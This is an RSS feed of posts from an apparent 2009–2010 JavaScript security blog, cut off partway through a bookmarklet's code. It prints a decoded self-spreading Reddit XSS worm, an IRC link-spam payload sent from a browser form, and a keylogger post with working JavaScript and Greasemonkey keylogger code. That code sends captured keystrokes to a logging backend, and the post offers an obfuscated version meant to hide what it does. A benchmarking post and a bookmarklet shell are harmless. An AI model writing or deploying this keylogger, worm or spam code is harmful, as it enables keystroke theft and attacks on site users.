<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Javascript</title>
	<atom:link href="http://insanesecurity.info/blog/tag/javascript/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>That&#8217;s a cool trick</title>
		<link>http://insanesecurity.info/blog/thats-a-cool-trick</link>
		<comments>http://insanesecurity.info/blog/thats-a-cool-trick#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:01:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=304</guid>
		<description><![CDATA[Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen. You can read the whole story here (and come back afterwards). TLDR: the channel (through some javascript code) got link spammed in huge numbers. The code &#8211; which [...]]]></description>
			<content:encoded><![CDATA[<p>Today when reddit was down for maintenance people kept gathering on the <a href="http://irc.freenode.net:6667/redditdowntime">#redditdowntime channel on freenode</a> where under a couple of minutes intriguing things started to happen.</p>
<p>You can read the whole story <a href="http://unethicalblogger.com/posts/2010/01/using_browser_piss_irc_users_or_spamming_redditdowntime">here</a> (and come back afterwards).<br />
<span id="more-304"></span><br />
TLDR: the channel (through some javascript code) got link spammed in huge numbers.</p>
<p>The code &#8211; which you can find in the article I&#8217;ve pointed earlier &#8211; basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.</p>
<p>What I&#8217;ve liked in the code is the way it sends the connection and &#8220;payload&#8221; to the irc server; via the following (combined) string.</p>
<pre>
x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';
</pre>
<p>And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.</p>
<p>Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.</p>
<p>Nice trick, I&#8217;ll remember it next time I&#8217;ll have to do a string repeat.</p>
<p>And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.</p>
<blockquote cite="Freenode is run by morons"><p>
IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):</p>
<p>Freenode is run by morons who can&#8217;t read IRCD config files. It is that simple.</p>
<p>Instead of reading the docs, freenode is switching to another IRCD to solve this &#8220;problem&#8221;. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.</p>
<p>But no, freenode has historically been run by people who don&#8217;t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.</p>
<p>Also firewalling with a pattern match on POST would&#8217;ve solved these problems too. But freenode admins are not the brightest admins.
</p></blockquote>
<p>And all of this because a Reddit user once owned a Digg user&#8230;. I can&#8217;t find the picture!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/thats-a-cool-trick/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Benchmarking Javascript</title>
		<link>http://insanesecurity.info/blog/benchmarking-javascript</link>
		<comments>http://insanesecurity.info/blog/benchmarking-javascript#comments</comments>
		<pubDate>Fri, 04 Sep 2009 14:00:00 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=249</guid>
		<description><![CDATA[There are a series of ways by which you could benchmark Javascript code. Either by using the Firebug console API, example: console.time("first"); // some javascript code console.timeEnd("first"); Another way would be the one which ppk suggested on his blog. function testIt() { var startTime = new Date().getTime(); // actual DOM functionality to be tested goes [...]]]></description>
			<content:encoded><![CDATA[<p>There are a series of ways by which you could benchmark Javascript code. Either by using the Firebug <a href="http://getfirebug.com/console.html">console API</a>, example:</p>
<pre>
console.time("first");
// some javascript code
console.timeEnd("first");
</pre>
<p>Another way would be the one which ppk <a href="http://www.quirksmode.org/blog/archives/2009/08/when_to_read_ou.html">suggested on his blog</a>.</p>
<pre>
function testIt() {
    var startTime = new Date().getTime();

    // actual DOM functionality to be tested goes here

    setTimeout(function () {
        var endTime = new Date().getTime();
        var result = (endTime-startTime)/1000;
        // print result
    },10)
}
</pre>
<p>The reason why the result is printed through a different function set to run on timeout is:</p>
<blockquote><p>
(&#8230;) some browsers only applies the result of the test (i.e. the changes in the DOM you want to test) to the screen after the function has ended entirely. (&#8230;) The correct way of conducting this test is setting a timeout for reading out the end time. The function ends when the in-memory DOM manipulation has been done, which allows the browser to apply the changes.</p></blockquote>
<p>If that&#8217;s the case, we could also use the following function for benchmarking Javascript code (a more flexible version):</p>
<pre>
function benchmark(func) {
    var startTime = new Date().getTime();
    func();
    var endTime = new Date().getTime();
    return (endTime-startTime)/1000;
}

// as for usage
time = benchmark(function() {
    // javascript code to benchmark
});
</pre>
<p>It is completely unrelated to any aspect of security, but there are some topics that just make me blog about&#8230; Anyway, very soon I&#8217;ll post on, have a few projects I&#8217;m working on lately.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/benchmarking-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript/Userscript Keylogger</title>
		<link>http://insanesecurity.info/blog/javascriptuserscript-keylogger</link>
		<comments>http://insanesecurity.info/blog/javascriptuserscript-keylogger#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:37:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=63</guid>
		<description><![CDATA[Some days ago while I was writing the (traffic magnet) article HYGHAAZG and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230; Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago while I was writing the (traffic magnet) article <del><a href="http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/">HYGHAAZG</a></del> and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230;</p>
<p><span id="more-63"></span></p>
<p>
Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:</p>
<pre>
var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);
</pre>
<p>As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm.  Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it&#8217;s the same, difference is that I used <a href="http://diveintogreasemonkey.org/api/gm_setvalue.html">GM_setValue</a>/<a href="http://diveintogreasemonkey.org/api/gm_getvalue.html">GM_getValue</a> for storing the keys and had to use <a href="http://wiki.greasespot.net/UnsafeWindow">unsafeWindow</a> for accesing the key pressing event.</p>
<pre>
GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger.user.js">download/install/view</a></del></p>
<p>The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.</p>
<pre>
window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger-final.user.js">download/install/view</a></del></p>
<p>No, by downloading this you won&#8217;t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I&#8217;ve used a php file on my localhost for logging, and that remained in the examples also.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>If you are new at Javascript/Userscripts the following links may be helpful to you: <a href="http://diveintogreasemonkey.org/">Dive Into GreaseMonkey</a>, <a href="http://wiki.greasespot.net/Main_Page">GreaseSpot</a> and <a href="http://www.free-itebooks.com/free-ebooks-javascript/">Javascript eBooks</a>. And yes Userscripts are also available for IE/Opera&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/javascriptuserscript-keylogger/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bookmarklets</title>
		<link>http://insanesecurity.info/blog/bookmarklets</link>
		<comments>http://insanesecurity.info/blog/bookmarklets#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:33:59 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=41</guid>
		<description><![CDATA[A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality [...]]]></description>
			<content:encoded><![CDATA[<p>A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality to a browser or web page. When clicked, a bookmarklet performs some function, one of a wide variety such as a search query or data extraction. Usually the applet is a JavaScript program. (<a href="http://en.wikipedia.org/wiki/Bookmarklets">Wikipedia</a>)</p>
<p><span id="more-41"></span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>Over the pass time I have collected a bunch of interesting bookmarklets, from which a couple are security oriented, more or less, and which I&#8217;d like to share with you.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;\n\n&lt;html onclick=\&quot;keepFocusInTextbox(event)\&quot;&gt;\n&lt;head&gt;\n&lt;meta http-equiv=\&quot;Content-Type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&lt;title&gt;JavaScript Shell 1.4&lt;/title&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\nvar \nhistList = [\&quot;\&quot;], \nhistPos = 0, \n_scope = {}, \n_win, // a top-level context\nquestion,\n_in,\n_out,\ntooManyMatches = null,\nlastError = null;\n\nfunction refocus()\n{\n  _in.blur(); // Needed for Mozilla to scroll correctly.\n  _in.focus();\n}\n\nfunction init()\n{\n  _in = document.getElementById(\&quot;input\&quot;);\n  _out = document.getElementById(\&quot;output\&quot;);\n\n  _win = window;\n\n  if (opener &amp;&amp; !opener.closed)\n  {\n    println(\&quot;Using bookmarklet version of shell: commands will run in opener's context.\&quot;, \&quot;message\&quot;);\n    _win = opener;\n  }\n\n  initTarget();\n\n  recalculateInputHeight();\n  refocus();\n}\n\nfunction initTarget()\n{\n  _win.Shell = window;\n  _win.print = shellCommands.print;\n}\n\n\n// Unless the user is selected something, refocus the textbox.\n// (requested by caillon, brendan, asa)\nfunction keepFocusInTextbox(e) \n{\n  var g = e.srcElement ? e.srcElement : e.target; // IE vs. standard\n  \n  while (!g.tagName)\n    g = g.parentNode;\n  var t = g.tagName.toUpperCase();\n  if (t==\&quot;A\&quot; || t==\&quot;INPUT\&quot;)\n    return;\n    \n  if (window.getSelection) {\n    // Mozilla\n    if (String(window.getSelection()))\n      return;\n  }\n  else if (document.getSelection) {\n    // Opera? Netscape 4?\n    if (document.getSelection())\n      return;\n  }\n  else {\n    // IE\n    if ( document.selection.createRange().text )\n      return;\n  }\n  \n  refocus();\n}\n\nfunction inputKeydown(e) {\n  // Use onkeydown because IE doesn't support onkeypress for arrow keys\n\n  //alert(e.keyCode + \&quot; ^ \&quot; + e.keycode);\n\n  if (e.shiftKey &amp;&amp; e.keyCode == 13) { // shift-enter\n    // don't do anything; allow the shift-enter to insert a line break as normal\n  } else if (e.keyCode == 13) { // enter\n    // execute the input on enter\n    try { go(); } catch(er) { alert(er); };\n    setTimeout(function() { _in.value = \&quot;\&quot;; }, 0); // can't preventDefault on input, so clear it later\n  } else if (e.keyCode == 38) { // up\n    // go up in history if at top or ctrl-up\n    if (e.ctrlKey || caretInFirstLine(_in))\n      hist(true);\n  } else if (e.keyCode == 40) { // down\n    // go down in history if at end or ctrl-down\n    if (e.ctrlKey || caretInLastLine(_in))\n      hist(false);\n  } else if (e.keyCode == 9) { // tab\n    tabcomplete();\n    setTimeout(function() { refocus(); }, 0); // refocus because tab was hit\n  } else { }\n\n  setTimeout(recalculateInputHeight, 0);\n  \n  //return true;\n};\n\nfunction caretInFirstLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionStart == undefined)\n    return true;\n\n  var firstLineBreak = textbox.value.indexOf(\&quot;\\n\&quot;);\n  \n  return ((firstLineBreak == -1) || (textbox.selectionStart &lt;= firstLineBreak));\n}\n\nfunction caretInLastLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionEnd == undefined)\n    return true;\n\n  var lastLineBreak = textbox.value.lastIndexOf(\&quot;\\n\&quot;);\n  \n  return (textbox.selectionEnd &gt; lastLineBreak);\n}\n\nfunction recalculateInputHeight()\n{\n  var rows = _in.value.split(/\\n/).length\n    + 1 // prevent scrollbar flickering in Mozilla\n    + (window.opera ? 1 : 0); // leave room for scrollbar in Opera\n  \n  if (_in.rows != rows) // without this check, it is impossible to select text in Opera 7.60 or Opera 8.0.\n    _in.rows = rows;\n}\n\nfunction println(s, type)\n{\n  if((s=String(s)))\n  {\n    var newdiv = document.createElement(\&quot;div\&quot;);\n    newdiv.appendChild(document.createTextNode(s));\n    newdiv.className = type;\n    _out.appendChild(newdiv);\n    return newdiv;\n  }\n}\n\nfunction printWithRunin(h, s, type)\n{\n  var div = println(s, type);\n  var head = document.createElement(\&quot;strong\&quot;);\n  head.appendChild(document.createTextNode(h + \&quot;: \&quot;));\n  div.insertBefore(head, div.firstChild);\n}\n\n\nvar shellCommands = \n{\nload : function load(url)\n{\n  var s = _win.document.createElement(\&quot;script\&quot;);\n  s.type = \&quot;text/javascript\&quot;;\n  s.src = url;\n  _win.document.getElementsByTagName(\&quot;head\&quot;)[0].appendChild(s);\n  println(\&quot;Loading \&quot; + url + \&quot;...\&quot;, \&quot;message\&quot;);\n},\n\nclear : function clear()\n{\n  var CHILDREN_TO_PRESERVE = 3;\n  while (_out.childNodes[CHILDREN_TO_PRESERVE]) \n    _out.removeChild(_out.childNodes[CHILDREN_TO_PRESERVE]);\n},\n\nprint : function print(s) { println(s, \&quot;print\&quot;); },\n\n// the normal function, \&quot;print\&quot;, shouldn't return a value\n// (suggested by brendan; later noticed it was a problem when showing others)\npr : function pr(s) \n{ \n  shellCommands.print(s); // need to specify shellCommands so it doesn't try window.print()!\n  return s;\n},\n\nprops : function props(e, onePerLine)\n{\n  if (e === null) {\n    println(\&quot;props called with null argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  if (e === undefined) {\n    println(\&quot;props called with undefined argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  var ns = [\&quot;Methods\&quot;, \&quot;Fields\&quot;, \&quot;Unreachables\&quot;];\n  var as = [[], [], []]; // array of (empty) arrays of arrays!\n  var p, j, i; // loop variables, several used multiple times\n\n  var protoLevels = 0;\n\n  for (p = e; p; p = p.__proto__)\n  {\n    for (i=0; i&lt;ns.length; ++i)\n      as[i][protoLevels] = [];\n    ++protoLevels;\n  }\n\n  for(var a in e)\n  {\n    // Shortcoming: doesn't check that VALUES are the same in object and prototype.\n\n    var protoLevel = -1;\n    try\n    {\n      for (p = e; p &amp;&amp; (a in p); p = p.__proto__)\n        ++protoLevel;\n    }\n    catch(er) { protoLevel = 0; } // \&quot;in\&quot; operator throws when param to props() is a string\n\n    var type = 1;\n    try\n    {\n      if ((typeof e[a]) == \&quot;function\&quot;)\n        type = 0;\n    }\n    catch (er) { type = 2; }\n\n    as[type][protoLevel].push(a);\n  }\n\n  function times(s, n) { return n ? s + times(s, n-1) : \&quot;\&quot;; }\n\n  for (j=0; j&lt;protoLevels; ++j)\n    for (i=0;i&lt;ns.length;++i)\n      if (as[i][j].length) \n        printWithRunin(\n          ns[i] + times(\&quot; of prototype\&quot;, j), \n          (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;) + as[i][j].sort().join(onePerLine ? \&quot;\\n\&quot; : \&quot;, \&quot;) + (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;), \n          \&quot;propList\&quot;\n        );\n},\n\nblink : function blink(node)\n{\n  if (!node)                     throw(\&quot;blink: argument is null or undefined.\&quot;);\n  if (node.nodeType == null)     throw(\&quot;blink: argument must be a node.\&quot;);\n  if (node.nodeType == 3)        throw(\&quot;blink: argument must not be a text node\&quot;);\n  if (node.documentElement)      throw(\&quot;blink: argument must not be the document object\&quot;);\n\n  function setOutline(o) { \n    return function() {\n      if (node.style.outline != node.style.bogusProperty) {\n        // browser supports outline (Firefox 1.1 and newer, CSS3, Opera 8).\n        node.style.outline = o;\n      }\n      else if (node.style.MozOutline != node.style.bogusProperty) {\n        // browser supports MozOutline (Firefox 1.0.x and older)\n        node.style.MozOutline = o;\n      }\n      else {\n        // browser only supports border (IE). border is a fallback because it moves things around.\n        node.style.border = o;\n      }\n    }\n  } \n  \n  function focusIt(a) {\n    return function() {\n      a.focus(); \n    }\n  }\n\n  if (node.ownerDocument) {\n    var windowToFocusNow = (node.ownerDocument.defaultView || node.ownerDocument.parentWindow); // Moz vs. IE\n    if (windowToFocusNow)\n      setTimeout(focusIt(windowToFocusNow.top), 0);\n  }\n\n  for(var i=1;i&lt;7;++i)\n    setTimeout(setOutline((i%252)?'3px solid red':'none'), i*100);\n\n  setTimeout(focusIt(window), 800);\n  setTimeout(focusIt(_in), 810);\n},\n\nscope : function scope(sc)\n{\n  if (!sc) sc = {};\n  _scope = sc;\n  println(\&quot;Scope is now \&quot; + sc + \&quot;.  If a variable is not found in this scope, window will also be searched.  New variables will still go on window.\&quot;, \&quot;message\&quot;);\n},\n\nmathHelp : function mathHelp()\n{\n  printWithRunin(\&quot;Math constants\&quot;, \&quot;E, LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2\&quot;, \&quot;propList\&quot;);\n  printWithRunin(\&quot;Math methods\&quot;, \&quot;abs, acos, asin, atan, atan2, ceil, cos, exp, floor, log, max, min, pow, random, round, sin, sqrt, tan\&quot;, \&quot;propList\&quot;);\n},\n\nans : undefined\n};\n\n\nfunction hist(up)\n{\n  // histList[0] = first command entered, [1] = second, etc.\n  // type something, press up --&gt; thing typed is now in \&quot;limbo\&quot;\n  // (last item in histList) and should be reachable by pressing \n  // down again.\n\n  var L = histList.length;\n\n  if (L == 1)\n    return;\n\n  if (up)\n  {\n    if (histPos == L-1)\n    {\n      // Save this entry in case the user hits the down key.\n      histList[histPos] = _in.value;\n    }\n\n    if (histPos &gt; 0)\n    {\n      histPos--;\n      // Use a timeout to prevent up from moving cursor within new text\n      // Set to nothing first for the same reason\n      setTimeout(\n        function() {\n          _in.value = ''; \n          _in.value = histList[histPos];\n          var caretPos = _in.value.length;\n          if (_in.setSelectionRange) \n            _in.setSelectionRange(caretPos, caretPos);\n        },\n        0\n      );\n    }\n  } \n  else // down\n  {\n    if (histPos &lt; L-1)\n    {\n      histPos++;\n      _in.value = histList[histPos];\n    }\n    else if (histPos == L-1)\n    {\n      // Already on the current entry: clear but save\n      if (_in.value)\n      {\n        histList[histPos] = _in.value;\n        ++histPos;\n        _in.value = \&quot;\&quot;;\n      }\n    }\n  }\n}\n\nfunction tabcomplete()\n{\n  /*\n   * Working backwards from s[from], find the spot\n   * where this expression starts.  It will scan\n   * until it hits a mismatched ( or a space,\n   * but it skips over quoted strings.\n   * If stopAtDot is true, stop at a '.'\n   */\n  function findbeginning(s, from, stopAtDot)\n  {\n    /*\n     *  Complicated function.\n     *\n     *  Return true if s[i] == q BUT ONLY IF\n     *  s[i-1] is not a backslash.\n     */\n    function equalButNotEscaped(s,i,q)\n    {\n      if(s.charAt(i) != q) // not equal go no further\n        return false;\n\n      if(i==0) // beginning of string\n        return true;\n\n      if(s.charAt(i-1) == '\\\\') // escaped?\n        return false;\n\n      return true;\n    }\n\n    var nparens = 0;\n    var i;\n    for(i=from; i&gt;=0; i--)\n    {\n      if(s.charAt(i) == ' ')\n        break;\n\n      if(stopAtDot &amp;&amp; s.charAt(i) == '.')\n        break;\n        \n      if(s.charAt(i) == ')')\n        nparens++;\n      else if(s.charAt(i) == '(')\n        nparens--;\n\n      if(nparens &lt; 0)\n        break;\n\n      // skip quoted strings\n      if(s.charAt(i) == '\\'' || s.charAt(i) == '\\\&quot;')\n      {\n        //dump(\&quot;skipping quoted chars: \&quot;);\n        var quot = s.charAt(i);\n        i--;\n        while(i &gt;= 0 &amp;&amp; !equalButNotEscaped(s,i,quot)) {\n          //dump(s.charAt(i));\n          i--;\n        }\n        //dump(\&quot;\\n\&quot;);\n      }\n    }\n    return i;\n  }\n\n  // XXX should be used more consistently (instead of using selectionStart/selectionEnd throughout code)\n  // XXX doesn't work in IE, even though it contains IE-specific code\n  function getcaretpos(inp)\n  {\n    if(inp.selectionEnd != null)\n      return inp.selectionEnd;\n      \n    if(inp.createTextRange)\n    {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      if (inprange.setEndPoint)\n      {\n        inprange.setEndPoint('EndToStart', docrange);\n        return inprange.text.length;\n      }\n    }\n\n    return inp.value.length; // sucks, punt\n  }\n\n  function setselectionto(inp,pos)\n  {\n    if(inp.selectionStart) {\n      inp.selectionStart = inp.selectionEnd = pos;\n    }\n    else if(inp.createTextRange) {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      inprange.move('character',pos);\n      inprange.select();\n    }\n    else { // err...\n    /*\n      inp.select();\n      if(_win.Shell.document.getSelection())\n        _win.Shell.document.getSelection() = \&quot;\&quot;;\n        */\n    }\n  }\n    // get position of cursor within the input box\n    var caret = getcaretpos(_in);\n\n    if(caret) {\n      //dump(\&quot;----\\n\&quot;);\n      var dotpos, spacepos, complete, obj;\n      //dump(\&quot;caret pos: \&quot; + caret + \&quot;\\n\&quot;);\n      // see if there's a dot before here\n      dotpos = findbeginning(_in.value, caret-1, true);\n      //dump(\&quot;dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      if(dotpos == -1 || _in.value.charAt(dotpos) != '.') {\n        dotpos = caret;\n//dump(\&quot;changed dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      }\n\n      // look backwards for a non-variable-name character\n      spacepos = findbeginning(_in.value, dotpos-1, false);\n      //dump(\&quot;space pos: \&quot; + spacepos + \&quot;\\n\&quot;);\n      // get the object we're trying to complete on\n      if(spacepos == dotpos || spacepos+1 == dotpos || dotpos == caret)\n      {\n        // try completing function args\n        if(_in.value.charAt(dotpos) == '(' ||\n (_in.value.charAt(spacepos) == '(' 